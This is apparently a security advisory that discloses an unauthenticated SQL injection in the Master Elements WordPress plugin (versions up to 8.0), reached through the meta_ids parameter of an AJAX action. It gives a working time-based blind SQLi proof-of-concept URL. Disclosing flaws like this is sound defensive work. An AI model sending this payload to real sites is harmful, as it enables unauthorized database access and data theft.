Master Elements <= 8.0 - Unauthenticated SQLi

The plugin does not validate and escape the meta_ids parameter of its remove_post_meta_condition AJAX action (available to both unauthenticated and authenticated users) before using it in a SQL statement, leading to an unauthenticated SQL Injection

PoC

As unauthenticated: https://example.com/wp-admin/admin-ajax.php?meta_ids=1)%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(5)))b&action;=remove_post_meta_condition